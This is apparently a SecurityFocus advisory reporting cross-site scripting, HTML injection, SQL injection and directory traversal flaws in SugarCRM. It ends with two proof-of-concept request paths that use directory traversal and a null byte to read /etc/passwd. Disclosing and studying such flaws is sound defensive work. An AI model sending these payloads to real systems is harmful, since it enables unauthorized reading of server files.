source: https://www.securityfocus.com/bid/11740/info
 
SugarCRM is reported prone to multiple vulnerabilites arising from insufficient sanitization of user-supplied input. These issues can a remote attacker to carry out cross-site scripting, HTML injection, SQL injection and directory traversal attacks.

/index.php?module=Opportunities&action=../../../../../../../../etc /passwd%00&advanced=true
/index.php?action=DetailView&module=../../../../../etc/passwd%00